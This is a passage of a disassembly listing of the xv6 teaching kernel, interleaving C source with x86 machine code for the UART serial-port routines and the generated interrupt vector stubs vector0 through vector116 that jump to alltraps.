asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80105a7f: ba fd 03 00 00 mov $0x3fd,%edx
80105a84: ec in (%dx),%al
outb(COM1+3, 0x03); // Lock divisor, 8 data bits.
outb(COM1+4, 0);
outb(COM1+1, 0x01); // Enable receive interrupts.
// If status is 0xFF, no serial port.
if(inb(COM1+5) == 0xFF)
80105a85: 3c ff cmp $0xff,%al
80105a87: 74 5a je 80105ae3 <uartinit+0xb3>
return;
uart = 1;
80105a89: c7 05 bc a5 10 80 01 movl $0x1,0x8010a5bc
80105a90: 00 00 00
80105a93: 89 da mov %ebx,%edx
80105a95: ec in (%dx),%al
80105a96: ba f8 03 00 00 mov $0x3f8,%edx
80105a9b: ec in (%dx),%al
// Acknowledge pre-existing interrupt conditions;
// enable interrupts.
inb(COM1+2);
inb(COM1+0);
ioapicenable(IRQ_COM1, 0);
80105a9c: 83 ec 08 sub $0x8,%esp
80105a9f: bb 04 78 10 80 mov $0x80107804,%ebx
80105aa4: 6a 00 push $0x0
80105aa6: 6a 04 push $0x4
80105aa8: e8 e3 c7 ff ff call 80102290 <ioapicenable>
80105aad: 83 c4 10 add $0x10,%esp
80105ab0: b8 78 00 00 00 mov $0x78,%eax
80105ab5: eb 13 jmp 80105aca <uartinit+0x9a>
80105ab7: 89 f6 mov %esi,%esi
80105ab9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
// Announce that we're here.
for(p="xv6...\n"; *p; p++)
80105ac0: 83 c3 01 add $0x1,%ebx
80105ac3: 0f be 03 movsbl (%ebx),%eax
80105ac6: 84 c0 test %al,%al
80105ac8: 74 19 je 80105ae3 <uartinit+0xb3>
void
uartputc(int c)
{
int i;
if(!uart)
80105aca: 8b 15 bc a5 10 80 mov 0x8010a5bc,%edx
80105ad0: 85 d2 test %edx,%edx
80105ad2: 74 ec je 80105ac0 <uartinit+0x90>
inb(COM1+2);
inb(COM1+0);
ioapicenable(IRQ_COM1, 0);
// Announce that we're here.
for(p="xv6...\n"; *p; p++)
80105ad4: 83 c3 01 add $0x1,%ebx
80105ad7: e8 04 ff ff ff call 801059e0 <uartputc.part.0>
80105adc: 0f be 03 movsbl (%ebx),%eax
80105adf: 84 c0 test %al,%al
80105ae1: 75 e7 jne 80105aca <uartinit+0x9a>
uartputc(*p);
}
80105ae3: 8d 65 f4 lea -0xc(%ebp),%esp
80105ae6: 5b pop %ebx
80105ae7: 5e pop %esi
80105ae8: 5f pop %edi
80105ae9: 5d pop %ebp
80105aea: c3 ret
80105aeb: 90 nop
80105aec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80105af0 <uartputc>:
void
uartputc(int c)
{
int i;
if(!uart)
80105af0: 8b 15 bc a5 10 80 mov 0x8010a5bc,%edx
uartputc(*p);
}
void
uartputc(int c)
{
80105af6: 55 push %ebp
80105af7: 89 e5 mov %esp,%ebp
int i;
if(!uart)
80105af9: 85 d2 test %edx,%edx
uartputc(*p);
}
void
uartputc(int c)
{
80105afb: 8b 45 08 mov 0x8(%ebp),%eax
int i;
if(!uart)
80105afe: 74 10 je 80105b10 <uartputc+0x20>
return;
for(i = 0; i < 128 && !(inb(COM1+5) & 0x20); i++)
microdelay(10);
outb(COM1+0, c);
}
80105b00: 5d pop %ebp
80105b01: e9 da fe ff ff jmp 801059e0 <uartputc.part.0>
80105b06: 8d 76 00 lea 0x0(%esi),%esi
80105b09: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80105b10: 5d pop %ebp
80105b11: c3 ret
80105b12: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80105b19: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80105b20 <uartintr>:
return inb(COM1+0);
}
void
uartintr(void)
{
80105b20: 55 push %ebp
80105b21: 89 e5 mov %esp,%ebp
80105b23: 83 ec 14 sub $0x14,%esp
consoleintr(uartgetc);
80105b26: 68 b0 59 10 80 push $0x801059b0
80105b2b: e8 c0 ac ff ff call 801007f0 <consoleintr>
}
80105b30: 83 c4 10 add $0x10,%esp
80105b33: c9 leave
80105b34: c3 ret
80105b35 <vector0>:
# generated by vectors.pl - do not edit
# handlers
.globl alltraps
.globl vector0
vector0:
pushl $0
80105b35: 6a 00 push $0x0
pushl $0
80105b37: 6a 00 push $0x0
jmp alltraps
80105b39: e9 3b fb ff ff jmp 80105679 <alltraps>
80105b3e <vector1>:
.globl vector1
vector1:
pushl $0
80105b3e: 6a 00 push $0x0
pushl $1
80105b40: 6a 01 push $0x1
jmp alltraps
80105b42: e9 32 fb ff ff jmp 80105679 <alltraps>
80105b47 <vector2>:
.globl vector2
vector2:
pushl $0
80105b47: 6a 00 push $0x0
pushl $2
80105b49: 6a 02 push $0x2
jmp alltraps
80105b4b: e9 29 fb ff ff jmp 80105679 <alltraps>
80105b50 <vector3>:
.globl vector3
vector3:
pushl $0
80105b50: 6a 00 push $0x0
pushl $3
80105b52: 6a 03 push $0x3
jmp alltraps
80105b54: e9 20 fb ff ff jmp 80105679 <alltraps>
80105b59 <vector4>:
.globl vector4
vector4:
pushl $0
80105b59: 6a 00 push $0x0
pushl $4
80105b5b: 6a 04 push $0x4
jmp alltraps
80105b5d: e9 17 fb ff ff jmp 80105679 <alltraps>
80105b62 <vector5>:
.globl vector5
vector5:
pushl $0
80105b62: 6a 00 push $0x0
pushl $5
80105b64: 6a 05 push $0x5
jmp alltraps
80105b66: e9 0e fb ff ff jmp 80105679 <alltraps>
80105b6b <vector6>:
.globl vector6
vector6:
pushl $0
80105b6b: 6a 00 push $0x0
pushl $6
80105b6d: 6a 06 push $0x6
jmp alltraps
80105b6f: e9 05 fb ff ff jmp 80105679 <alltraps>
80105b74 <vector7>:
.globl vector7
vector7:
pushl $0
80105b74: 6a 00 push $0x0
pushl $7
80105b76: 6a 07 push $0x7
jmp alltraps
80105b78: e9 fc fa ff ff jmp 80105679 <alltraps>
80105b7d <vector8>:
.globl vector8
vector8:
pushl $8
80105b7d: 6a 08 push $0x8
jmp alltraps
80105b7f: e9 f5 fa ff ff jmp 80105679 <alltraps>
80105b84 <vector9>:
.globl vector9
vector9:
pushl $0
80105b84: 6a 00 push $0x0
pushl $9
80105b86: 6a 09 push $0x9
jmp alltraps
80105b88: e9 ec fa ff ff jmp 80105679 <alltraps>
80105b8d <vector10>:
.globl vector10
vector10:
pushl $10
80105b8d: 6a 0a push $0xa
jmp alltraps
80105b8f: e9 e5 fa ff ff jmp 80105679 <alltraps>
80105b94 <vector11>:
.globl vector11
vector11:
pushl $11
80105b94: 6a 0b push $0xb
jmp alltraps
80105b96: e9 de fa ff ff jmp 80105679 <alltraps>
80105b9b <vector12>:
.globl vector12
vector12:
pushl $12
80105b9b: 6a 0c push $0xc
jmp alltraps
80105b9d: e9 d7 fa ff ff jmp 80105679 <alltraps>
80105ba2 <vector13>:
.globl vector13
vector13:
pushl $13
80105ba2: 6a 0d push $0xd
jmp alltraps
80105ba4: e9 d0 fa ff ff jmp 80105679 <alltraps>
80105ba9 <vector14>:
.globl vector14
vector14:
pushl $14
80105ba9: 6a 0e push $0xe
jmp alltraps
80105bab: e9 c9 fa ff ff jmp 80105679 <alltraps>
80105bb0 <vector15>:
.globl vector15
vector15:
pushl $0
80105bb0: 6a 00 push $0x0
pushl $15
80105bb2: 6a 0f push $0xf
jmp alltraps
80105bb4: e9 c0 fa ff ff jmp 80105679 <alltraps>
80105bb9 <vector16>:
.globl vector16
vector16:
pushl $0
80105bb9: 6a 00 push $0x0
pushl $16
80105bbb: 6a 10 push $0x10
jmp alltraps
80105bbd: e9 b7 fa ff ff jmp 80105679 <alltraps>
80105bc2 <vector17>:
.globl vector17
vector17:
pushl $17
80105bc2: 6a 11 push $0x11
jmp alltraps
80105bc4: e9 b0 fa ff ff jmp 80105679 <alltraps>
80105bc9 <vector18>:
.globl vector18
vector18:
pushl $0
80105bc9: 6a 00 push $0x0
pushl $18
80105bcb: 6a 12 push $0x12
jmp alltraps
80105bcd: e9 a7 fa ff ff jmp 80105679 <alltraps>
80105bd2 <vector19>:
.globl vector19
vector19:
pushl $0
80105bd2: 6a 00 push $0x0
pushl $19
80105bd4: 6a 13 push $0x13
jmp alltraps
80105bd6: e9 9e fa ff ff jmp 80105679 <alltraps>
80105bdb <vector20>:
.globl vector20
vector20:
pushl $0
80105bdb: 6a 00 push $0x0
pushl $20
80105bdd: 6a 14 push $0x14
jmp alltraps
80105bdf: e9 95 fa ff ff jmp 80105679 <alltraps>
80105be4 <vector21>:
.globl vector21
vector21:
pushl $0
80105be4: 6a 00 push $0x0
pushl $21
80105be6: 6a 15 push $0x15
jmp alltraps
80105be8: e9 8c fa ff ff jmp 80105679 <alltraps>
80105bed <vector22>:
.globl vector22
vector22:
pushl $0
80105bed: 6a 00 push $0x0
pushl $22
80105bef: 6a 16 push $0x16
jmp alltraps
80105bf1: e9 83 fa ff ff jmp 80105679 <alltraps>
80105bf6 <vector23>:
.globl vector23
vector23:
pushl $0
80105bf6: 6a 00 push $0x0
pushl $23
80105bf8: 6a 17 push $0x17
jmp alltraps
80105bfa: e9 7a fa ff ff jmp 80105679 <alltraps>
80105bff <vector24>:
.globl vector24
vector24:
pushl $0
80105bff: 6a 00 push $0x0
pushl $24
80105c01: 6a 18 push $0x18
jmp alltraps
80105c03: e9 71 fa ff ff jmp 80105679 <alltraps>
80105c08 <vector25>:
.globl vector25
vector25:
pushl $0
80105c08: 6a 00 push $0x0
pushl $25
80105c0a: 6a 19 push $0x19
jmp alltraps
80105c0c: e9 68 fa ff ff jmp 80105679 <alltraps>
80105c11 <vector26>:
.globl vector26
vector26:
pushl $0
80105c11: 6a 00 push $0x0
pushl $26
80105c13: 6a 1a push $0x1a
jmp alltraps
80105c15: e9 5f fa ff ff jmp 80105679 <alltraps>
80105c1a <vector27>:
.globl vector27
vector27:
pushl $0
80105c1a: 6a 00 push $0x0
pushl $27
80105c1c: 6a 1b push $0x1b
jmp alltraps
80105c1e: e9 56 fa ff ff jmp 80105679 <alltraps>
80105c23 <vector28>:
.globl vector28
vector28:
pushl $0
80105c23: 6a 00 push $0x0
pushl $28
80105c25: 6a 1c push $0x1c
jmp alltraps
80105c27: e9 4d fa ff ff jmp 80105679 <alltraps>
80105c2c <vector29>:
.globl vector29
vector29:
pushl $0
80105c2c: 6a 00 push $0x0
pushl $29
80105c2e: 6a 1d push $0x1d
jmp alltraps
80105c30: e9 44 fa ff ff jmp 80105679 <alltraps>
80105c35 <vector30>:
.globl vector30
vector30:
pushl $0
80105c35: 6a 00 push $0x0
pushl $30
80105c37: 6a 1e push $0x1e
jmp alltraps
80105c39: e9 3b fa ff ff jmp 80105679 <alltraps>
80105c3e <vector31>:
.globl vector31
vector31:
pushl $0
80105c3e: 6a 00 push $0x0
pushl $31
80105c40: 6a 1f push $0x1f
jmp alltraps
80105c42: e9 32 fa ff ff jmp 80105679 <alltraps>
80105c47 <vector32>:
.globl vector32
vector32:
pushl $0
80105c47: 6a 00 push $0x0
pushl $32
80105c49: 6a 20 push $0x20
jmp alltraps
80105c4b: e9 29 fa ff ff jmp 80105679 <alltraps>
80105c50 <vector33>:
.globl vector33
vector33:
pushl $0
80105c50: 6a 00 push $0x0
pushl $33
80105c52: 6a 21 push $0x21
jmp alltraps
80105c54: e9 20 fa ff ff jmp 80105679 <alltraps>
80105c59 <vector34>:
.globl vector34
vector34:
pushl $0
80105c59: 6a 00 push $0x0
pushl $34
80105c5b: 6a 22 push $0x22
jmp alltraps
80105c5d: e9 17 fa ff ff jmp 80105679 <alltraps>
80105c62 <vector35>:
.globl vector35
vector35:
pushl $0
80105c62: 6a 00 push $0x0
pushl $35
80105c64: 6a 23 push $0x23
jmp alltraps
80105c66: e9 0e fa ff ff jmp 80105679 <alltraps>
80105c6b <vector36>:
.globl vector36
vector36:
pushl $0
80105c6b: 6a 00 push $0x0
pushl $36
80105c6d: 6a 24 push $0x24
jmp alltraps
80105c6f: e9 05 fa ff ff jmp 80105679 <alltraps>
80105c74 <vector37>:
.globl vector37
vector37:
pushl $0
80105c74: 6a 00 push $0x0
pushl $37
80105c76: 6a 25 push $0x25
jmp alltraps
80105c78: e9 fc f9 ff ff jmp 80105679 <alltraps>
80105c7d <vector38>:
.globl vector38
vector38:
pushl $0
80105c7d: 6a 00 push $0x0
pushl $38
80105c7f: 6a 26 push $0x26
jmp alltraps
80105c81: e9 f3 f9 ff ff jmp 80105679 <alltraps>
80105c86 <vector39>:
.globl vector39
vector39:
pushl $0
80105c86: 6a 00 push $0x0
pushl $39
80105c88: 6a 27 push $0x27
jmp alltraps
80105c8a: e9 ea f9 ff ff jmp 80105679 <alltraps>
80105c8f <vector40>:
.globl vector40
vector40:
pushl $0
80105c8f: 6a 00 push $0x0
pushl $40
80105c91: 6a 28 push $0x28
jmp alltraps
80105c93: e9 e1 f9 ff ff jmp 80105679 <alltraps>
80105c98 <vector41>:
.globl vector41
vector41:
pushl $0
80105c98: 6a 00 push $0x0
pushl $41
80105c9a: 6a 29 push $0x29
jmp alltraps
80105c9c: e9 d8 f9 ff ff jmp 80105679 <alltraps>
80105ca1 <vector42>:
.globl vector42
vector42:
pushl $0
80105ca1: 6a 00 push $0x0
pushl $42
80105ca3: 6a 2a push $0x2a
jmp alltraps
80105ca5: e9 cf f9 ff ff jmp 80105679 <alltraps>
80105caa <vector43>:
.globl vector43
vector43:
pushl $0
80105caa: 6a 00 push $0x0
pushl $43
80105cac: 6a 2b push $0x2b
jmp alltraps
80105cae: e9 c6 f9 ff ff jmp 80105679 <alltraps>
80105cb3 <vector44>:
.globl vector44
vector44:
pushl $0
80105cb3: 6a 00 push $0x0
pushl $44
80105cb5: 6a 2c push $0x2c
jmp alltraps
80105cb7: e9 bd f9 ff ff jmp 80105679 <alltraps>
80105cbc <vector45>:
.globl vector45
vector45:
pushl $0
80105cbc: 6a 00 push $0x0
pushl $45
80105cbe: 6a 2d push $0x2d
jmp alltraps
80105cc0: e9 b4 f9 ff ff jmp 80105679 <alltraps>
80105cc5 <vector46>:
.globl vector46
vector46:
pushl $0
80105cc5: 6a 00 push $0x0
pushl $46
80105cc7: 6a 2e push $0x2e
jmp alltraps
80105cc9: e9 ab f9 ff ff jmp 80105679 <alltraps>
80105cce <vector47>:
.globl vector47
vector47:
pushl $0
80105cce: 6a 00 push $0x0
pushl $47
80105cd0: 6a 2f push $0x2f
jmp alltraps
80105cd2: e9 a2 f9 ff ff jmp 80105679 <alltraps>
80105cd7 <vector48>:
.globl vector48
vector48:
pushl $0
80105cd7: 6a 00 push $0x0
pushl $48
80105cd9: 6a 30 push $0x30
jmp alltraps
80105cdb: e9 99 f9 ff ff jmp 80105679 <alltraps>
80105ce0 <vector49>:
.globl vector49
vector49:
pushl $0
80105ce0: 6a 00 push $0x0
pushl $49
80105ce2: 6a 31 push $0x31
jmp alltraps
80105ce4: e9 90 f9 ff ff jmp 80105679 <alltraps>
80105ce9 <vector50>:
.globl vector50
vector50:
pushl $0
80105ce9: 6a 00 push $0x0
pushl $50
80105ceb: 6a 32 push $0x32
jmp alltraps
80105ced: e9 87 f9 ff ff jmp 80105679 <alltraps>
80105cf2 <vector51>:
.globl vector51
vector51:
pushl $0
80105cf2: 6a 00 push $0x0
pushl $51
80105cf4: 6a 33 push $0x33
jmp alltraps
80105cf6: e9 7e f9 ff ff jmp 80105679 <alltraps>
80105cfb <vector52>:
.globl vector52
vector52:
pushl $0
80105cfb: 6a 00 push $0x0
pushl $52
80105cfd: 6a 34 push $0x34
jmp alltraps
80105cff: e9 75 f9 ff ff jmp 80105679 <alltraps>
80105d04 <vector53>:
.globl vector53
vector53:
pushl $0
80105d04: 6a 00 push $0x0
pushl $53
80105d06: 6a 35 push $0x35
jmp alltraps
80105d08: e9 6c f9 ff ff jmp 80105679 <alltraps>
80105d0d <vector54>:
.globl vector54
vector54:
pushl $0
80105d0d: 6a 00 push $0x0
pushl $54
80105d0f: 6a 36 push $0x36
jmp alltraps
80105d11: e9 63 f9 ff ff jmp 80105679 <alltraps>
80105d16 <vector55>:
.globl vector55
vector55:
pushl $0
80105d16: 6a 00 push $0x0
pushl $55
80105d18: 6a 37 push $0x37
jmp alltraps
80105d1a: e9 5a f9 ff ff jmp 80105679 <alltraps>
80105d1f <vector56>:
.globl vector56
vector56:
pushl $0
80105d1f: 6a 00 push $0x0
pushl $56
80105d21: 6a 38 push $0x38
jmp alltraps
80105d23: e9 51 f9 ff ff jmp 80105679 <alltraps>
80105d28 <vector57>:
.globl vector57
vector57:
pushl $0
80105d28: 6a 00 push $0x0
pushl $57
80105d2a: 6a 39 push $0x39
jmp alltraps
80105d2c: e9 48 f9 ff ff jmp 80105679 <alltraps>
80105d31 <vector58>:
.globl vector58
vector58:
pushl $0
80105d31: 6a 00 push $0x0
pushl $58
80105d33: 6a 3a push $0x3a
jmp alltraps
80105d35: e9 3f f9 ff ff jmp 80105679 <alltraps>
80105d3a <vector59>:
.globl vector59
vector59:
pushl $0
80105d3a: 6a 00 push $0x0
pushl $59
80105d3c: 6a 3b push $0x3b
jmp alltraps
80105d3e: e9 36 f9 ff ff jmp 80105679 <alltraps>
80105d43 <vector60>:
.globl vector60
vector60:
pushl $0
80105d43: 6a 00 push $0x0
pushl $60
80105d45: 6a 3c push $0x3c
jmp alltraps
80105d47: e9 2d f9 ff ff jmp 80105679 <alltraps>
80105d4c <vector61>:
.globl vector61
vector61:
pushl $0
80105d4c: 6a 00 push $0x0
pushl $61
80105d4e: 6a 3d push $0x3d
jmp alltraps
80105d50: e9 24 f9 ff ff jmp 80105679 <alltraps>
80105d55 <vector62>:
.globl vector62
vector62:
pushl $0
80105d55: 6a 00 push $0x0
pushl $62
80105d57: 6a 3e push $0x3e
jmp alltraps
80105d59: e9 1b f9 ff ff jmp 80105679 <alltraps>
80105d5e <vector63>:
.globl vector63
vector63:
pushl $0
80105d5e: 6a 00 push $0x0
pushl $63
80105d60: 6a 3f push $0x3f
jmp alltraps
80105d62: e9 12 f9 ff ff jmp 80105679 <alltraps>
80105d67 <vector64>:
.globl vector64
vector64:
pushl $0
80105d67: 6a 00 push $0x0
pushl $64
80105d69: 6a 40 push $0x40
jmp alltraps
80105d6b: e9 09 f9 ff ff jmp 80105679 <alltraps>
80105d70 <vector65>:
.globl vector65
vector65:
pushl $0
80105d70: 6a 00 push $0x0
pushl $65
80105d72: 6a 41 push $0x41
jmp alltraps
80105d74: e9 00 f9 ff ff jmp 80105679 <alltraps>
80105d79 <vector66>:
.globl vector66
vector66:
pushl $0
80105d79: 6a 00 push $0x0
pushl $66
80105d7b: 6a 42 push $0x42
jmp alltraps
80105d7d: e9 f7 f8 ff ff jmp 80105679 <alltraps>
80105d82 <vector67>:
.globl vector67
vector67:
pushl $0
80105d82: 6a 00 push $0x0
pushl $67
80105d84: 6a 43 push $0x43
jmp alltraps
80105d86: e9 ee f8 ff ff jmp 80105679 <alltraps>
80105d8b <vector68>:
.globl vector68
vector68:
pushl $0
80105d8b: 6a 00 push $0x0
pushl $68
80105d8d: 6a 44 push $0x44
jmp alltraps
80105d8f: e9 e5 f8 ff ff jmp 80105679 <alltraps>
80105d94 <vector69>:
.globl vector69
vector69:
pushl $0
80105d94: 6a 00 push $0x0
pushl $69
80105d96: 6a 45 push $0x45
jmp alltraps
80105d98: e9 dc f8 ff ff jmp 80105679 <alltraps>
80105d9d <vector70>:
.globl vector70
vector70:
pushl $0
80105d9d: 6a 00 push $0x0
pushl $70
80105d9f: 6a 46 push $0x46
jmp alltraps
80105da1: e9 d3 f8 ff ff jmp 80105679 <alltraps>
80105da6 <vector71>:
.globl vector71
vector71:
pushl $0
80105da6: 6a 00 push $0x0
pushl $71
80105da8: 6a 47 push $0x47
jmp alltraps
80105daa: e9 ca f8 ff ff jmp 80105679 <alltraps>
80105daf <vector72>:
.globl vector72
vector72:
pushl $0
80105daf: 6a 00 push $0x0
pushl $72
80105db1: 6a 48 push $0x48
jmp alltraps
80105db3: e9 c1 f8 ff ff jmp 80105679 <alltraps>
80105db8 <vector73>:
.globl vector73
vector73:
pushl $0
80105db8: 6a 00 push $0x0
pushl $73
80105dba: 6a 49 push $0x49
jmp alltraps
80105dbc: e9 b8 f8 ff ff jmp 80105679 <alltraps>
80105dc1 <vector74>:
.globl vector74
vector74:
pushl $0
80105dc1: 6a 00 push $0x0
pushl $74
80105dc3: 6a 4a push $0x4a
jmp alltraps
80105dc5: e9 af f8 ff ff jmp 80105679 <alltraps>
80105dca <vector75>:
.globl vector75
vector75:
pushl $0
80105dca: 6a 00 push $0x0
pushl $75
80105dcc: 6a 4b push $0x4b
jmp alltraps
80105dce: e9 a6 f8 ff ff jmp 80105679 <alltraps>
80105dd3 <vector76>:
.globl vector76
vector76:
pushl $0
80105dd3: 6a 00 push $0x0
pushl $76
80105dd5: 6a 4c push $0x4c
jmp alltraps
80105dd7: e9 9d f8 ff ff jmp 80105679 <alltraps>
80105ddc <vector77>:
.globl vector77
vector77:
pushl $0
80105ddc: 6a 00 push $0x0
pushl $77
80105dde: 6a 4d push $0x4d
jmp alltraps
80105de0: e9 94 f8 ff ff jmp 80105679 <alltraps>
80105de5 <vector78>:
.globl vector78
vector78:
pushl $0
80105de5: 6a 00 push $0x0
pushl $78
80105de7: 6a 4e push $0x4e
jmp alltraps
80105de9: e9 8b f8 ff ff jmp 80105679 <alltraps>
80105dee <vector79>:
.globl vector79
vector79:
pushl $0
80105dee: 6a 00 push $0x0
pushl $79
80105df0: 6a 4f push $0x4f
jmp alltraps
80105df2: e9 82 f8 ff ff jmp 80105679 <alltraps>
80105df7 <vector80>:
.globl vector80
vector80:
pushl $0
80105df7: 6a 00 push $0x0
pushl $80
80105df9: 6a 50 push $0x50
jmp alltraps
80105dfb: e9 79 f8 ff ff jmp 80105679 <alltraps>
80105e00 <vector81>:
.globl vector81
vector81:
pushl $0
80105e00: 6a 00 push $0x0
pushl $81
80105e02: 6a 51 push $0x51
jmp alltraps
80105e04: e9 70 f8 ff ff jmp 80105679 <alltraps>
80105e09 <vector82>:
.globl vector82
vector82:
pushl $0
80105e09: 6a 00 push $0x0
pushl $82
80105e0b: 6a 52 push $0x52
jmp alltraps
80105e0d: e9 67 f8 ff ff jmp 80105679 <alltraps>
80105e12 <vector83>:
.globl vector83
vector83:
pushl $0
80105e12: 6a 00 push $0x0
pushl $83
80105e14: 6a 53 push $0x53
jmp alltraps
80105e16: e9 5e f8 ff ff jmp 80105679 <alltraps>
80105e1b <vector84>:
.globl vector84
vector84:
pushl $0
80105e1b: 6a 00 push $0x0
pushl $84
80105e1d: 6a 54 push $0x54
jmp alltraps
80105e1f: e9 55 f8 ff ff jmp 80105679 <alltraps>
80105e24 <vector85>:
.globl vector85
vector85:
pushl $0
80105e24: 6a 00 push $0x0
pushl $85
80105e26: 6a 55 push $0x55
jmp alltraps
80105e28: e9 4c f8 ff ff jmp 80105679 <alltraps>
80105e2d <vector86>:
.globl vector86
vector86:
pushl $0
80105e2d: 6a 00 push $0x0
pushl $86
80105e2f: 6a 56 push $0x56
jmp alltraps
80105e31: e9 43 f8 ff ff jmp 80105679 <alltraps>
80105e36 <vector87>:
.globl vector87
vector87:
pushl $0
80105e36: 6a 00 push $0x0
pushl $87
80105e38: 6a 57 push $0x57
jmp alltraps
80105e3a: e9 3a f8 ff ff jmp 80105679 <alltraps>
80105e3f <vector88>:
.globl vector88
vector88:
pushl $0
80105e3f: 6a 00 push $0x0
pushl $88
80105e41: 6a 58 push $0x58
jmp alltraps
80105e43: e9 31 f8 ff ff jmp 80105679 <alltraps>
80105e48 <vector89>:
.globl vector89
vector89:
pushl $0
80105e48: 6a 00 push $0x0
pushl $89
80105e4a: 6a 59 push $0x59
jmp alltraps
80105e4c: e9 28 f8 ff ff jmp 80105679 <alltraps>
80105e51 <vector90>:
.globl vector90
vector90:
pushl $0
80105e51: 6a 00 push $0x0
pushl $90
80105e53: 6a 5a push $0x5a
jmp alltraps
80105e55: e9 1f f8 ff ff jmp 80105679 <alltraps>
80105e5a <vector91>:
.globl vector91
vector91:
pushl $0
80105e5a: 6a 00 push $0x0
pushl $91
80105e5c: 6a 5b push $0x5b
jmp alltraps
80105e5e: e9 16 f8 ff ff jmp 80105679 <alltraps>
80105e63 <vector92>:
.globl vector92
vector92:
pushl $0
80105e63: 6a 00 push $0x0
pushl $92
80105e65: 6a 5c push $0x5c
jmp alltraps
80105e67: e9 0d f8 ff ff jmp 80105679 <alltraps>
80105e6c <vector93>:
.globl vector93
vector93:
pushl $0
80105e6c: 6a 00 push $0x0
pushl $93
80105e6e: 6a 5d push $0x5d
jmp alltraps
80105e70: e9 04 f8 ff ff jmp 80105679 <alltraps>
80105e75 <vector94>:
.globl vector94
vector94:
pushl $0
80105e75: 6a 00 push $0x0
pushl $94
80105e77: 6a 5e push $0x5e
jmp alltraps
80105e79: e9 fb f7 ff ff jmp 80105679 <alltraps>
80105e7e <vector95>:
.globl vector95
vector95:
pushl $0
80105e7e: 6a 00 push $0x0
pushl $95
80105e80: 6a 5f push $0x5f
jmp alltraps
80105e82: e9 f2 f7 ff ff jmp 80105679 <alltraps>
80105e87 <vector96>:
.globl vector96
vector96:
pushl $0
80105e87: 6a 00 push $0x0
pushl $96
80105e89: 6a 60 push $0x60
jmp alltraps
80105e8b: e9 e9 f7 ff ff jmp 80105679 <alltraps>
80105e90 <vector97>:
.globl vector97
vector97:
pushl $0
80105e90: 6a 00 push $0x0
pushl $97
80105e92: 6a 61 push $0x61
jmp alltraps
80105e94: e9 e0 f7 ff ff jmp 80105679 <alltraps>
80105e99 <vector98>:
.globl vector98
vector98:
pushl $0
80105e99: 6a 00 push $0x0
pushl $98
80105e9b: 6a 62 push $0x62
jmp alltraps
80105e9d: e9 d7 f7 ff ff jmp 80105679 <alltraps>
80105ea2 <vector99>:
.globl vector99
vector99:
pushl $0
80105ea2: 6a 00 push $0x0
pushl $99
80105ea4: 6a 63 push $0x63
jmp alltraps
80105ea6: e9 ce f7 ff ff jmp 80105679 <alltraps>
80105eab <vector100>:
.globl vector100
vector100:
pushl $0
80105eab: 6a 00 push $0x0
pushl $100
80105ead: 6a 64 push $0x64
jmp alltraps
80105eaf: e9 c5 f7 ff ff jmp 80105679 <alltraps>
80105eb4 <vector101>:
.globl vector101
vector101:
pushl $0
80105eb4: 6a 00 push $0x0
pushl $101
80105eb6: 6a 65 push $0x65
jmp alltraps
80105eb8: e9 bc f7 ff ff jmp 80105679 <alltraps>
80105ebd <vector102>:
.globl vector102
vector102:
pushl $0
80105ebd: 6a 00 push $0x0
pushl $102
80105ebf: 6a 66 push $0x66
jmp alltraps
80105ec1: e9 b3 f7 ff ff jmp 80105679 <alltraps>
80105ec6 <vector103>:
.globl vector103
vector103:
pushl $0
80105ec6: 6a 00 push $0x0
pushl $103
80105ec8: 6a 67 push $0x67
jmp alltraps
80105eca: e9 aa f7 ff ff jmp 80105679 <alltraps>
80105ecf <vector104>:
.globl vector104
vector104:
pushl $0
80105ecf: 6a 00 push $0x0
pushl $104
80105ed1: 6a 68 push $0x68
jmp alltraps
80105ed3: e9 a1 f7 ff ff jmp 80105679 <alltraps>
80105ed8 <vector105>:
.globl vector105
vector105:
pushl $0
80105ed8: 6a 00 push $0x0
pushl $105
80105eda: 6a 69 push $0x69
jmp alltraps
80105edc: e9 98 f7 ff ff jmp 80105679 <alltraps>
80105ee1 <vector106>:
.globl vector106
vector106:
pushl $0
80105ee1: 6a 00 push $0x0
pushl $106
80105ee3: 6a 6a push $0x6a
jmp alltraps
80105ee5: e9 8f f7 ff ff jmp 80105679 <alltraps>
80105eea <vector107>:
.globl vector107
vector107:
pushl $0
80105eea: 6a 00 push $0x0
pushl $107
80105eec: 6a 6b push $0x6b
jmp alltraps
80105eee: e9 86 f7 ff ff jmp 80105679 <alltraps>
80105ef3 <vector108>:
.globl vector108
vector108:
pushl $0
80105ef3: 6a 00 push $0x0
pushl $108
80105ef5: 6a 6c push $0x6c
jmp alltraps
80105ef7: e9 7d f7 ff ff jmp 80105679 <alltraps>
80105efc <vector109>:
.globl vector109
vector109:
pushl $0
80105efc: 6a 00 push $0x0
pushl $109
80105efe: 6a 6d push $0x6d
jmp alltraps
80105f00: e9 74 f7 ff ff jmp 80105679 <alltraps>
80105f05 <vector110>:
.globl vector110
vector110:
pushl $0
80105f05: 6a 00 push $0x0
pushl $110
80105f07: 6a 6e push $0x6e
jmp alltraps
80105f09: e9 6b f7 ff ff jmp 80105679 <alltraps>
80105f0e <vector111>:
.globl vector111
vector111:
pushl $0
80105f0e: 6a 00 push $0x0
pushl $111
80105f10: 6a 6f push $0x6f
jmp alltraps
80105f12: e9 62 f7 ff ff jmp 80105679 <alltraps>
80105f17 <vector112>:
.globl vector112
vector112:
pushl $0
80105f17: 6a 00 push $0x0
pushl $112
80105f19: 6a 70 push $0x70
jmp alltraps
80105f1b: e9 59 f7 ff ff jmp 80105679 <alltraps>
80105f20 <vector113>:
.globl vector113
vector113:
pushl $0
80105f20: 6a 00 push $0x0
pushl $113
80105f22: 6a 71 push $0x71
jmp alltraps
80105f24: e9 50 f7 ff ff jmp 80105679 <alltraps>
80105f29 <vector114>:
.globl vector114
vector114:
pushl $0
80105f29: 6a 00 push $0x0
pushl $114
80105f2b: 6a 72 push $0x72
jmp alltraps
80105f2d: e9 47 f7 ff ff jmp 80105679 <alltraps>
80105f32 <vector115>:
.globl vector115
vector115:
pushl $0
80105f32: 6a 00 push $0x0
pushl $115
80105f34: 6a 73 push $0x73
jmp alltraps
80105f36: e9 3e f7 ff ff jmp 80105679 <alltraps>
80105f3b <vector116>:
.globl vector116
vector116:
pushl $0
80105f3b: 6a 00 push $0x0
pushl $116
80105f3d: 6a 74 push $0x74
jmp alltraps
